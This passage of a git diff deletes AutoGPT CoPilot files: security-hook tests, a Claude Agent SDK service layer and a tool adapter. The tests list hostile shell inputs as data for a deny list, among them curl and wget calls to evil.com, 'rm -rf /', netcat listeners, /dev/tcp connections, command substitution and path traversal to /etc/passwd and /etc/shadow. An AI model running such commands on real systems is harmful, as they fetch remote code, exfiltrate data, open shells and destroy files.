-    result = _validate_tool_access("Grep", {"path": f"{SDK_CWD}/src"}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Read", {"file_path": "/etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_write_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Write", {"file_path": "/home/user/secrets.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_traversal_attack_denied():
-    result = _validate_tool_access(
-        "Read",
-        {"file_path": f"{SDK_CWD}/../../etc/passwd"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert _is_denied(result)
-
-
-def test_no_path_allowed():
-    """Glob/Grep without a path argument defaults to cwd — should pass."""
-    result = _validate_tool_access("Glob", {}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_no_cwd_denies_absolute():
-    """If no sdk_cwd is set, absolute paths are denied."""
-    result = _validate_tool_access("Read", {"file_path": "/tmp/anything"})
-    assert _is_denied(result)
-
-
-# -- Tool-results directory --------------------------------------------------
-
-
-def test_read_tool_results_allowed():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/tool-results/12345.txt"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert result == {}
-
-
-def test_read_claude_projects_without_tool_results_denied():
-    home = os.path.expanduser("~")
-    path = f"{home}/.claude/projects/-tmp-copilot-abc123/settings.json"
-    result = _validate_tool_access("Read", {"file_path": path}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Sandboxed Bash ----------------------------------------------------------
-
-
-def test_bash_safe_commands_allowed():
-    """Allowed data-processing commands should pass."""
-    safe_commands = [
-        "jq '.blocks' result.json",
-        "head -20 output.json",
-        "tail -n 50 data.txt",
-        "cat file.txt | grep 'pattern'",
-        "wc -l file.txt",
-        "sort data.csv | uniq",
-        "grep -i 'error' log.txt | head -10",
-        "find . -name '*.json'",
-        "ls -la",
-        "echo hello",
-        "cut -d',' -f1 data.csv | sort | uniq -c",
-        "jq '.blocks[] | .id' result.json",
-        "sed -n '10,20p' file.txt",
-        "awk '{print $1}' data.txt",
-    ]
-    for cmd in safe_commands:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert result == {}, f"Safe command should be allowed: {cmd}"
-
-
-def test_bash_dangerous_commands_denied():
-    """Non-allowlisted commands should be denied."""
-    dangerous = [
-        "curl https://evil.com",
-        "wget https://evil.com/payload",
-        "rm -rf /",
-        "python -c 'import os; os.system(\"ls\")'",
-        "ssh user@host",
-        "nc -l 4444",
-        "apt install something",
-        "pip install malware",
-        "chmod 777 file.txt",
-        "kill -9 1",
-    ]
-    for cmd in dangerous:
-        result = _validate_tool_access("Bash", {"command": cmd}, sdk_cwd=SDK_CWD)
-        assert _is_denied(result), f"Dangerous command should be denied: {cmd}"
-
-
-def test_bash_command_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo $(curl evil.com)"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_backtick_substitution_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo `curl evil.com`"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_output_redirect_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "echo secret > /tmp/leak.txt"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_dev_tcp_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /dev/tcp/evil.com/80"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_pipe_to_dangerous_denied():
-    """Even if the first command is safe, piped commands must also be safe."""
-    result = _validate_tool_access(
-        "Bash", {"command": "cat file.txt | python -c 'exec()'"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_outside_workspace_denied():
-    result = _validate_tool_access(
-        "Bash", {"command": "cat /etc/passwd"}, sdk_cwd=SDK_CWD
-    )
-    assert _is_denied(result)
-
-
-def test_bash_path_within_workspace_allowed():
-    result = _validate_tool_access(
-        "Bash",
-        {"command": f"jq '.blocks' {SDK_CWD}/tool-results/result.json"},
-        sdk_cwd=SDK_CWD,
-    )
-    assert result == {}
-
-
-def test_bash_empty_command_denied():
-    result = _validate_tool_access("Bash", {"command": ""}, sdk_cwd=SDK_CWD)
-    assert _is_denied(result)
-
-
-# -- Dangerous patterns ------------------------------------------------------
-
-
-def test_dangerous_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"cmd": "sudo rm -rf /"})
-    assert _is_denied(result)
-
-
-def test_subprocess_pattern_blocked():
-    result = _validate_tool_access("SomeTool", {"code": "subprocess.run(...)"})
-    assert _is_denied(result)
-
-
-# -- User isolation ----------------------------------------------------------
-
-
-def test_workspace_path_traversal_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "../../../etc/shadow"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_absolute_path_blocked():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "/etc/passwd"}, user_id="user-1"
-    )
-    assert _is_denied(result)
-
-
-def test_workspace_normal_path_allowed():
-    result = _validate_user_isolation(
-        "workspace_read", {"path": "src/main.py"}, user_id="user-1"
-    )
-    assert result == {}
-
-
-def test_non_workspace_tool_passes_isolation():
-    result = _validate_user_isolation(
-        "find_agent", {"query": "email"}, user_id="user-1"
-    )
-    assert result == {}

autogpt_platform/backend/backend/api/features/chat/sdk/service.py

@@ -1,556 +0,0 @@
-"""Claude Agent SDK service layer for CoPilot chat completions."""
-
-import asyncio
-import json
-import logging
-import os
-import re
-import uuid
-from collections.abc import AsyncGenerator
-from typing import Any
-
-from backend.util.exceptions import NotFoundError
-
-from ..config import ChatConfig
-from ..model import (
-    ChatMessage,
-    ChatSession,
-    Usage,
-    get_chat_session,
-    update_session_title,
-    upsert_chat_session,
-)
-from ..response_model import (
-    StreamBaseResponse,
-    StreamError,
-    StreamFinish,
-    StreamStart,
-    StreamTextDelta,
-    StreamToolInputAvailable,
-    StreamToolOutputAvailable,
-    StreamUsage,
-)
-from ..service import _build_system_prompt, _generate_session_title
-from ..tracking import track_user_message
-from .anthropic_fallback import stream_with_anthropic
-from .response_adapter import SDKResponseAdapter
-from .security_hooks import create_security_hooks
-from .tool_adapter import (
-    COPILOT_TOOL_NAMES,
-    create_copilot_mcp_server,
-    set_execution_context,
-)
-from .tracing import TracedSession, create_tracing_hooks, merge_hooks
-
-logger = logging.getLogger(__name__)
-config = ChatConfig()
-
-# Set to hold background tasks to prevent garbage collection
-_background_tasks: set[asyncio.Task[Any]] = set()
-
-
-_SDK_CWD_PREFIX = "/tmp/copilot-"
-
-# Appended to the system prompt to inform the agent about Bash restrictions.
-# The SDK already describes each tool (Read, Write, Edit, Glob, Grep, Bash),
-# but it doesn't know about our security hooks' command allowlist for Bash.
-_SDK_TOOL_SUPPLEMENT = """
-
-## Bash restrictions
-
-The Bash tool is restricted to safe, read-only data-processing commands:
-jq, grep, head, tail, cat, wc, sort, uniq, cut, tr, sed, awk, find, ls,
-echo, diff, base64, and similar utilities.
-Network commands (curl, wget), destructive commands (rm, chmod), and
-interpreters (python, node) are NOT available.
-"""
-
-
-def _resolve_sdk_model() -> str | None:
-    """Resolve the model name for the Claude Agent SDK CLI.
-
-    Uses ``config.claude_agent_model`` if set, otherwise derives from
-    ``config.model`` by stripping the OpenRouter provider prefix (e.g.,
-    ``"anthropic/claude-opus-4.6"`` → ``"claude-opus-4.6"``).
-    """
-    if config.claude_agent_model:
-        return config.claude_agent_model
-    model = config.model
-    if "/" in model:
-        return model.split("/", 1)[1]
-    return model
-
-
-def _build_sdk_env() -> dict[str, str]:
-    """Build env vars for the SDK CLI process.
-
-    Routes API calls through OpenRouter (or a custom base_url) using
-    the same ``config.api_key`` / ``config.base_url`` as the non-SDK path.
-    This gives per-call token and cost tracking on the OpenRouter dashboard.
-
-    Only overrides ``ANTHROPIC_API_KEY`` when a valid proxy URL and auth
-    token are both present — otherwise returns an empty dict so the SDK
-    falls back to its default credentials.
-    """
-    env: dict[str, str] = {}
-    if config.api_key and config.base_url:
-        # Strip /v1 suffix — SDK expects the base URL without a version path
-        base = config.base_url.rstrip("/")
-        if base.endswith("/v1"):
-            base = base[:-3]
-        if not base or not base.startswith("http"):
-            # Invalid base_url — don't override SDK defaults
-            return env
-        env["ANTHROPIC_BASE_URL"] = base
-        env["ANTHROPIC_AUTH_TOKEN"] = config.api_key
-        # Must be explicitly empty so the CLI uses AUTH_TOKEN instead
-        env["ANTHROPIC_API_KEY"] = ""
-    return env
-
-
-def _make_sdk_cwd(session_id: str) -> str:
-    """Create a safe, session-specific working directory path.
-
-    Sanitizes session_id, then validates the resulting path stays under /tmp/
-    using normpath + startswith (the pattern CodeQL recognises as a sanitizer).
-    """
-    # Step 1: Sanitize - only allow alphanumeric and hyphens
-    safe_id = re.sub(r"[^A-Za-z0-9-]", "", session_id)
-    if not safe_id:
-        raise ValueError("Session ID is empty after sanitization")
-
-    # Step 2: Construct path with known-safe prefix
-    cwd = os.path.normpath(f"{_SDK_CWD_PREFIX}{safe_id}")
-
-    # Step 3: Validate the path is still under our prefix (prevent traversal)
-    if not cwd.startswith(_SDK_CWD_PREFIX):
-        raise ValueError(f"Session path escaped prefix: {cwd}")
-
-    # Step 4: Additional assertion for defense-in-depth
-    assert cwd.startswith("/tmp/copilot-"), f"Path validation failed: {cwd}"
-
-    return cwd
-
-
-def _cleanup_sdk_tool_results(cwd: str) -> None:
-    """Remove SDK tool-result files for a specific session working directory.
-
-    The SDK creates tool-result files under ~/.claude/projects/<encoded-cwd>/tool-results/.
-    We clean only the specific cwd's results to avoid race conditions between
-    concurrent sessions.
-
-    Security: cwd MUST be created by _make_sdk_cwd() which sanitizes session_id.
-    """
-    import shutil
-
-    # Security check 1: Validate cwd is under the expected prefix
-    normalized = os.path.normpath(cwd)
-    if not normalized.startswith(_SDK_CWD_PREFIX):
-        logger.warning(f"[SDK] Rejecting cleanup for invalid path: {cwd}")
-        return
-
-    # Security check 2: Ensure no path traversal in the normalized path
-    if ".." in normalized:
-        logger.warning(f"[SDK] Rejecting cleanup for traversal attempt: {cwd}")
-        return
-
-    # SDK encodes the cwd path by replacing '/' with '-'
-    encoded_cwd = normalized.replace("/", "-")
-
-    # Construct the project directory path (known-safe home expansion)
-    claude_projects = os.path.expanduser("~/.claude/projects")
-    project_dir = os.path.join(claude_projects, encoded_cwd)
-
-    # Security check 3: Validate project_dir is under ~/.claude/projects
-    project_dir = os.path.normpath(project_dir)
-    if not project_dir.startswith(claude_projects):
-        logger.warning(
-            f"[SDK] Rejecting cleanup for escaped project path: {project_dir}"
-        )
-        return
-
-    results_dir = os.path.join(project_dir, "tool-results")
-    if os.path.isdir(results_dir):
-        for filename in os.listdir(results_dir):
-            file_path = os.path.join(results_dir, filename)
-            try:
-                if os.path.isfile(file_path):
-                    os.remove(file_path)
-            except OSError:
-                pass
-
-    # Also clean up the temp cwd directory itself
-    try:
-        shutil.rmtree(normalized, ignore_errors=True)
-    except OSError:
-        pass
-
-
-async def _compress_conversation_history(
-    session: ChatSession,
-) -> list[ChatMessage]:
-    """Compress prior conversation messages if they exceed the token threshold.
-
-    Uses the shared compress_context() from prompt.py which supports:
-    - LLM summarization of old messages (keeps recent ones intact)
-    - Progressive content truncation as fallback
-    - Middle-out deletion as last resort
-
-    Returns the compressed prior messages (everything except the current message).
-    """
-    prior = session.messages[:-1]
-    if len(prior) < 2:
-        return prior
-
-    from backend.util.prompt import compress_context
-
-    # Convert ChatMessages to dicts for compress_context
-    messages_dict = []
-    for msg in prior:
-        msg_dict: dict[str, Any] = {"role": msg.role}
-        if msg.content:
-            msg_dict["content"] = msg.content
-        if msg.tool_calls:
-            msg_dict["tool_calls"] = msg.tool_calls
-        if msg.tool_call_id:
-            msg_dict["tool_call_id"] = msg.tool_call_id
-        messages_dict.append(msg_dict)
-
-    try:
-        import openai
-
-        async with openai.AsyncOpenAI(
-            api_key=config.api_key, base_url=config.base_url, timeout=30.0
-        ) as client:
-            result = await compress_context(
-                messages=messages_dict,
-                model=config.model,
-                client=client,
-            )
-    except Exception as e:
-        logger.warning(f"[SDK] Context compression with LLM failed: {e}")
-        # Fall back to truncation-only (no LLM summarization)
-        result = await compress_context(
-            messages=messages_dict,
-            model=config.model,
-            client=None,
-        )
-
-    if result.was_compacted:
-        logger.info(
-            f"[SDK] Context compacted: {result.original_token_count} -> "
-            f"{result.token_count} tokens "
-            f"({result.messages_summarized} summarized, "
-            f"{result.messages_dropped} dropped)"
-        )
-        # Convert compressed dicts back to ChatMessages
-        return [
-            ChatMessage(
-                role=m["role"],
-                content=m.get("content"),
-                tool_calls=m.get("tool_calls"),
-                tool_call_id=m.get("tool_call_id"),
-            )
-            for m in result.messages
-        ]
-
-    return prior
-
-
-def _format_conversation_context(messages: list[ChatMessage]) -> str | None:
-    """Format conversation messages into a context prefix for the user message.
-
-    Returns a string like:
-        <conversation_history>
-        User: hello
-        You responded: Hi! How can I help?
-        </conversation_history>
-
-    Returns None if there are no messages to format.
-    """
-    if not messages:
-        return None
-
-    lines: list[str] = []
-    for msg in messages:
-        if not msg.content:
-            continue
-        if msg.role == "user":
-            lines.append(f"User: {msg.content}")
-        elif msg.role == "assistant":
-            lines.append(f"You responded: {msg.content}")
-        # Skip tool messages — they're internal details
-
-    if not lines:
-        return None
-
-    return "<conversation_history>\n" + "\n".join(lines) + "\n</conversation_history>"
-
-
-async def stream_chat_completion_sdk(
-    session_id: str,
-    message: str | None = None,
-    tool_call_response: str | None = None,  # noqa: ARG001
-    is_user_message: bool = True,
-    user_id: str | None = None,
-    retry_count: int = 0,  # noqa: ARG001
-    session: ChatSession | None = None,
-    context: dict[str, str] | None = None,  # noqa: ARG001
-) -> AsyncGenerator[StreamBaseResponse, None]:
-    """Stream chat completion using Claude Agent SDK.
-
-    Drop-in replacement for stream_chat_completion with improved reliability.
-    """
-
-    if session is None:
-        session = await get_chat_session(session_id, user_id)
-
-    if not session:
-        raise NotFoundError(
-            f"Session {session_id} not found. Please create a new session first."
-        )
-
-    if message:
-        session.messages.append(
-            ChatMessage(
-                role="user" if is_user_message else "assistant", content=message
-            )
-        )
-        if is_user_message:
-            track_user_message(
-                user_id=user_id, session_id=session_id, message_length=len(message)
-            )
-
-    session = await upsert_chat_session(session)
-
-    # Generate title for new sessions (first user message)
-    if is_user_message and not session.title:
-        user_messages = [m for m in session.messages if m.role == "user"]
-        if len(user_messages) == 1:
-            first_message = user_messages[0].content or message or ""
-            if first_message:
-                task = asyncio.create_task(
-                    _update_title_async(session_id, first_message, user_id)
-                )
-                _background_tasks.add(task)
-                task.add_done_callback(_background_tasks.discard)
-
-    # Build system prompt (reuses non-SDK path with Langfuse support)
-    has_history = len(session.messages) > 1
-    system_prompt, _ = await _build_system_prompt(
-        user_id, has_conversation_history=has_history
-    )
-    system_prompt += _SDK_TOOL_SUPPLEMENT
-    message_id = str(uuid.uuid4())
-    text_block_id = str(uuid.uuid4())
-    task_id = str(uuid.uuid4())
-
-    yield StreamStart(messageId=message_id, taskId=task_id)
-
-    stream_completed = False
-    # Use a session-specific temp dir to avoid cleanup race conditions
-    # between concurrent sessions.
-    sdk_cwd = _make_sdk_cwd(session_id)
-    os.makedirs(sdk_cwd, exist_ok=True)
-
-    set_execution_context(user_id, session, None)
-
-    try:
-        try:
-            from claude_agent_sdk import ClaudeAgentOptions, ClaudeSDKClient
-
-            mcp_server = create_copilot_mcp_server()
-
-            sdk_model = _resolve_sdk_model()
-
-            # Initialize Langfuse tracing (no-op if not configured)
-            tracer = TracedSession(session_id, user_id, system_prompt, model=sdk_model)
-
-            # Merge security hooks with optional tracing hooks
-            security_hooks = create_security_hooks(user_id, sdk_cwd=sdk_cwd)
-            tracing_hooks = create_tracing_hooks(tracer)
-            combined_hooks = merge_hooks(security_hooks, tracing_hooks)
-
-            options = ClaudeAgentOptions(
-                system_prompt=system_prompt,
-                mcp_servers={"copilot": mcp_server},  # type: ignore[arg-type]
-                allowed_tools=COPILOT_TOOL_NAMES,
-                hooks=combined_hooks,  # type: ignore[arg-type]
-                cwd=sdk_cwd,
-                max_buffer_size=config.claude_agent_max_buffer_size,
-                model=sdk_model,
-                env=_build_sdk_env(),
-                user=user_id or None,
-                max_budget_usd=config.claude_agent_max_budget_usd,
-            )
-
-            adapter = SDKResponseAdapter(message_id=message_id)
-            adapter.set_task_id(task_id)
-
-            async with tracer, ClaudeSDKClient(options=options) as client:
-                current_message = message or ""
-                if not current_message and session.messages:
-                    last_user = [m for m in session.messages if m.role == "user"]
-                    if last_user:
-                        current_message = last_user[-1].content or ""
-
-                if not current_message.strip():
-                    yield StreamError(
-                        errorText="Message cannot be empty.",
-                        code="empty_prompt",
-                    )
-                    yield StreamFinish()
-                    return
-
-                # Build query with conversation history context.
-                # Compress history first to handle long conversations.
-                query_message = current_message
-                if len(session.messages) > 1:
-                    compressed = await _compress_conversation_history(session)
-                    history_context = _format_conversation_context(compressed)
-                    if history_context:
-                        query_message = (
-                            f"{history_context}\n\n"
-                            f"Now, the user says:\n{current_message}"
-                        )
-
-                logger.info(
-                    f"[SDK] Sending query: {current_message[:80]!r}"
-                    f" ({len(session.messages)} msgs in session)"
-                )
-                tracer.log_user_message(current_message)
-                await client.query(query_message, session_id=session_id)
-
-                assistant_response = ChatMessage(role="assistant", content="")
-                accumulated_tool_calls: list[dict[str, Any]] = []
-                has_appended_assistant = False
-                has_tool_results = False
-
-                async for sdk_msg in client.receive_messages():
-                    logger.debug(
-                        f"[SDK] Received: {type(sdk_msg).__name__} "
-                        f"{getattr(sdk_msg, 'subtype', '')}"
-                    )
-                    tracer.log_sdk_message(sdk_msg)
-                    for response in adapter.convert_message(sdk_msg):
-                        if isinstance(response, StreamStart):
-                            continue
-                        yield response
-
-                        if isinstance(response, StreamTextDelta):
-                            delta = response.delta or ""
-                            # After tool results, start a new assistant
-                            # message for the post-tool text.
-                            if has_tool_results and has_appended_assistant:
-                                assistant_response = ChatMessage(
-                                    role="assistant", content=delta
-                                )
-                                accumulated_tool_calls = []
-                                has_appended_assistant = False
-                                has_tool_results = False
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-                            else:
-                                assistant_response.content = (
-                                    assistant_response.content or ""
-                                ) + delta
-                                if not has_appended_assistant:
-                                    session.messages.append(assistant_response)
-                                    has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolInputAvailable):
-                            accumulated_tool_calls.append(
-                                {
-                                    "id": response.toolCallId,
-                                    "type": "function",
-                                    "function": {
-                                        "name": response.toolName,
-                                        "arguments": json.dumps(response.input or {}),
-                                    },
-                                }
-                            )
-                            assistant_response.tool_calls = accumulated_tool_calls
-                            if not has_appended_assistant:
-                                session.messages.append(assistant_response)
-                                has_appended_assistant = True
-
-                        elif isinstance(response, StreamToolOutputAvailable):
-                            session.messages.append(
-                                ChatMessage(
-                                    role="tool",
-                                    content=(
-                                        response.output
-                                        if isinstance(response.output, str)
-                                        else str(response.output)
-                                    ),
-                                    tool_call_id=response.toolCallId,
-                                )
-                            )
-                            has_tool_results = True
-
-                        elif isinstance(response, StreamUsage):
-                            session.usage.append(
-                                Usage(
-                                    prompt_tokens=response.promptTokens,
-                                    completion_tokens=response.completionTokens,
-                                    total_tokens=response.totalTokens,
-                                )
-                            )
-
-                        elif isinstance(response, StreamFinish):
-                            stream_completed = True
-
-                    if stream_completed:
-                        break
-
-                if (
-                    assistant_response.content or assistant_response.tool_calls
-                ) and not has_appended_assistant:
-                    session.messages.append(assistant_response)
-
-        except ImportError:
-            logger.warning(
-                "[SDK] claude-agent-sdk not available, using Anthropic fallback"
-            )
-            async for response in stream_with_anthropic(
-                session, system_prompt, text_block_id
-            ):
-                if isinstance(response, StreamFinish):
-                    stream_completed = True
-                yield response
-
-        await upsert_chat_session(session)
-        logger.debug(
-            f"[SDK] Session {session_id} saved with {len(session.messages)} messages"
-        )
-        if not stream_completed:
-            yield StreamFinish()
-
-    except Exception as e:
-        logger.error(f"[SDK] Error: {e}", exc_info=True)
-        try:
-            await upsert_chat_session(session)
-        except Exception as save_err:
-            logger.error(f"[SDK] Failed to save session on error: {save_err}")
-        yield StreamError(
-            errorText="An error occurred. Please try again.",
-            code="sdk_error",
-        )
-        yield StreamFinish()
-    finally:
-        _cleanup_sdk_tool_results(sdk_cwd)
-
-
-async def _update_title_async(
-    session_id: str, message: str, user_id: str | None = None
-) -> None:
-    """Background task to update session title."""
-    try:
-        title = await _generate_session_title(
-            message, user_id=user_id, session_id=session_id
-        )
-        if title:
-            await update_session_title(session_id, title)
-            logger.debug(f"[SDK] Generated title for {session_id}: {title}")
-    except Exception as e:
-        logger.warning(f"[SDK] Failed to update session title: {e}")

autogpt_platform/backend/backend/api/features/chat/sdk/tool_adapter.py

@@ -1,321 +0,0 @@
-"""Tool adapter for wrapping existing CoPilot tools as Claude Agent SDK MCP tools.
-
-This module provides the adapter layer that converts existing BaseTool implementations
-into in-process MCP tools that can be used with the Claude Agent SDK.
-"""
-
-import json
-import logging
-import os
-import uuid
-from contextvars import ContextVar
-from typing import Any
-
-from backend.api.features.chat.model import ChatSession
-from backend.api.features.chat.tools import TOOL_REGISTRY
-from backend.api.features.chat.tools.base import BaseTool
-
-logger = logging.getLogger(__name__)
-
-# Allowed base directory for the Read tool (SDK saves oversized tool results here)
-_SDK_TOOL_RESULTS_DIR = os.path.expanduser("~/.claude/")
-
-# MCP server naming - the SDK prefixes tool names as "mcp__{server_name}__{tool}"
-MCP_SERVER_NAME = "copilot"
-MCP_TOOL_PREFIX = f"mcp__{MCP_SERVER_NAME}__"
-
-# Context variables to pass user/session info to tool execution
-_current_user_id: ContextVar[str | None] = ContextVar("current_user_id", default=None)
-_current_session: ContextVar[ChatSession | None] = ContextVar(
-    "current_session", default=None
-)
-_current_tool_call_id: ContextVar[str | None] = ContextVar(
-    "current_tool_call_id", default=None
-)
-
-# Stash for MCP tool outputs before the SDK potentially truncates them.
-# Keyed by tool_name → full output string. Consumed (popped) by the
-# response adapter when it builds StreamToolOutputAvailable.
-_pending_tool_outputs: ContextVar[dict[str, str]] = ContextVar(
-    "pending_tool_outputs", default=None  # type: ignore[arg-type]
-)
-
-
-def set_execution_context(
-    user_id: str | None,
-    session: ChatSession,
-    tool_call_id: str | None = None,
-) -> None:
-    """Set the execution context for tool calls.
-
-    This must be called before streaming begins to ensure tools have access
-    to user_id and session information.
-    """
-    _current_user_id.set(user_id)
-    _current_session.set(session)
-    _current_tool_call_id.set(tool_call_id)
-    _pending_tool_outputs.set({})
-
-
-def get_execution_context() -> tuple[str | None, ChatSession | None, str | None]:
-    """Get the current execution context."""
-    return (
-        _current_user_id.get(),
-        _current_session.get(),
-        _current_tool_call_id.get(),
-    )
-
-
-def pop_pending_tool_output(tool_name: str) -> str | None:
-    """Pop and return the stashed full output for *tool_name*.
-
-    The SDK CLI may truncate large tool results (writing them to disk and
-    replacing the content with a file reference). This stash keeps the
-    original MCP output so the response adapter can forward it to the
-    frontend for proper widget rendering.
-
-    Returns ``None`` if nothing was stashed for *tool_name*.
-    """
-    pending = _pending_tool_outputs.get(None)
-    if pending is None:
-        return None
-    return pending.pop(tool_name, None)
-
-
-def create_tool_handler(base_tool: BaseTool):
-    """Create an async handler function for a BaseTool.
-
-    This wraps the existing BaseTool._execute method to be compatible
-    with the Claude Agent SDK MCP tool format.
-    """
-
-    async def tool_handler(args: dict[str, Any]) -> dict[str, Any]:
-        """Execute the wrapped tool and return MCP-formatted response."""
-        user_id, session, tool_call_id = get_execution_context()
-
-        if session is None:
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": "No session context available",
-                                "type": "error",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-        try:
-            # Call the existing tool's execute method
-            # Generate unique tool_call_id per invocation for proper correlation
-            effective_id = tool_call_id or f"sdk-{uuid.uuid4().hex[:12]}"
-            result = await base_tool.execute(
-                user_id=user_id,
-                session=session,
-                tool_call_id=effective_id,
-                **args,
-            )
-
-            # The result is a StreamToolOutputAvailable, extract the output
-            text = (
-                result.output
-                if isinstance(result.output, str)
-                else json.dumps(result.output)
-            )
-
-            # Stash the full output before the SDK potentially truncates it.
-            # The response adapter will pop this for frontend widget rendering.
-            pending = _pending_tool_outputs.get(None)
-            if pending is not None:
-                pending[base_tool.name] = text
-
-            return {
-                "content": [{"type": "text", "text": text}],
-                "isError": not result.success,
-            }
-
-        except Exception as e:
-            logger.error(f"Error executing tool {base_tool.name}: {e}", exc_info=True)
-            return {
-                "content": [
-                    {
-                        "type": "text",
-                        "text": json.dumps(
-                            {
-                                "error": str(e),
-                                "type": "error",
-                                "message": f"Failed to execute {base_tool.name}",
-                            }
-                        ),
-                    }
-                ],
-                "isError": True,
-            }
-
-    return tool_handler
-
-
-def _build_input_schema(base_tool: BaseTool) -> dict[str, Any]:
-    """Build a JSON Schema input schema for a tool."""
-    return {
-        "type": "object",
-        "properties": base_tool.parameters.get("properties", {}),
-        "required": base_tool.parameters.get("required", []),
-    }
-
-
-def get_tool_definitions() -> list[dict[str, Any]]:
-    """Get all tool definitions in MCP format.
-
-    Returns a list of tool definitions that can be used with
-    create_sdk_mcp_server or as raw tool definitions.
-    """
-    tool_definitions = []
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        tool_def = {
-            "name": tool_name,
-            "description": base_tool.description,
-            "inputSchema": _build_input_schema(base_tool),
-        }
-        tool_definitions.append(tool_def)
-
-    return tool_definitions
-
-
-def get_tool_handlers() -> dict[str, Any]:
-    """Get all tool handlers mapped by name.
-
-    Returns a dictionary mapping tool names to their handler functions.
-    """
-    handlers = {}
-
-    for tool_name, base_tool in TOOL_REGISTRY.items():
-        handlers[tool_name] = create_tool_handler(base_tool)
-
-    return handlers
-
-
-async def _read_file_handler(args: dict[str, Any]) -> dict[str, Any]:
-    """Read a file with optional offset/limit. Restricted to SDK working directory.
-
-    After reading, the file is deleted to prevent accumulation in long-running pods.
-    """
-    file_path = args.get("file_path", "")
-    offset = args.get("offset", 0)
-    limit = args.get("limit", 2000)
-
-    # Security: only allow reads under the SDK's working directory
-    real_path = os.path.realpath(file_path)
-    if not real_path.startswith(_SDK_TOOL_RESULTS_DIR):
-        return {
-            "content": [{"type": "text", "text": f"Access denied: {file_path}"}],
-            "isError": True,
-        }
-
-    try:
-        with open(real_path) as f:
-            lines = f.readlines()
-        selected = lines[offset : offset + limit]
-        content = "".join(selected)
-        return {"content": [{"type": "text", "text": content}], "isError": False}
-    except FileNotFoundError:
-        return {
-            "content": [{"type": "text", "text": f"File not found: {file_path}"}],
-            "isError": True,
-        }
-    except Exception as e:
-        return {
-            "content": [{"type": "text", "text": f"Error reading file: {e}"}],
-            "isError": True,
-        }
-
-
-_READ_TOOL_NAME = "Read"
-_READ_TOOL_DESCRIPTION = (
-    "Read a file from the local filesystem. "
-    "Use offset and limit to read specific line ranges for large files."
-)
-_READ_TOOL_SCHEMA = {
-    "type": "object",
-    "properties": {
-        "file_path": {
-            "type": "string",
-            "description": "The absolute path to the file to read",
-        },
-        "offset": {
-            "type": "integer",
-            "description": "Line number to start reading from (0-indexed). Default: 0",
-        },
-        "limit": {
-            "type": "integer",
-            "description": "Number of lines to read. Default: 2000",
-        },
-    },
-    "required": ["file_path"],
-}
-
-
-# Create the MCP server configuration
-def create_copilot_mcp_server():
-    """Create an in-process MCP server configuration for CoPilot tools.
-
-    This can be passed to ClaudeAgentOptions.mcp_servers.
-
-    Note: The actual SDK MCP server creation depends on the claude-agent-sdk
-    package being available. This function returns the configuration that
-    can be used with the SDK.
-    """
-    try:
-        from claude_agent_sdk import create_sdk_mcp_server, tool
-
-        # Create decorated tool functions
-        sdk_tools = []
-
-        for tool_name, base_tool in TOOL_REGISTRY.items():
-            handler = create_tool_handler(base_tool)
-            decorated = tool(
-                tool_name,
-                base_tool.description,
-                _build_input_schema(base_tool),
-            )(handler)
-            sdk_tools.append(decorated)
-
-        # Add the Read tool so the SDK can read back oversized tool results
-        read_tool = tool(
-            _READ_TOOL_NAME,
-            _READ_TOOL_DESCRIPTION,
-            _READ_TOOL_SCHEMA,
-        )(_read_file_handler)
-        sdk_tools.append(read_tool)
-
-        server = create_sdk_mcp_server(
-            name=MCP_SERVER_NAME,
-            version="1.0.0",
-            tools=sdk_tools,
-        )
-
-        return server
-
-    except ImportError:
-        # Let ImportError propagate so service.py handles the fallback
-        raise
-
-
-# SDK built-in tools allowed within the workspace directory.
-# Security hooks validate that file paths stay within sdk_cwd
-# and that Bash commands are restricted to a safe allowlist.
-_SDK_BUILTIN_TOOLS = ["Read", "Write", "Edit", "Glob", "Grep", "Bash"]
-
-# List of tool names for allowed_tools configuration
-# Include MCP tools, the MCP Read tool for oversized results,
-# and SDK built-in file tools for workspace operations.
-COPILOT_TOOL_NAMES = [
-    *[f"{MCP_TOOL_PREFIX}{name}" for name in TOOL_REGISTRY.keys()],
-    f"{MCP_TOOL_PREFIX}{_READ_TOOL_NAME}",
-    *_SDK_BUILTIN_TOOLS,
-]

autogpt_platform/backend/backend/api/features/chat/sdk/tracing.py

@@ -1,429 +0,0 @@
-"""Langfuse tracing integration for Claude Agent SDK.
-
-This module provides modular, non-invasive observability for SDK sessions.
-All tracing is opt-in (only active when Langfuse credentials are configured)
-and designed to not affect the core execution flow.
-
-Usage:
-    async with TracedSession(session_id, user_id) as tracer:
-        # Your SDK code here
-        tracer.log_user_message(message)
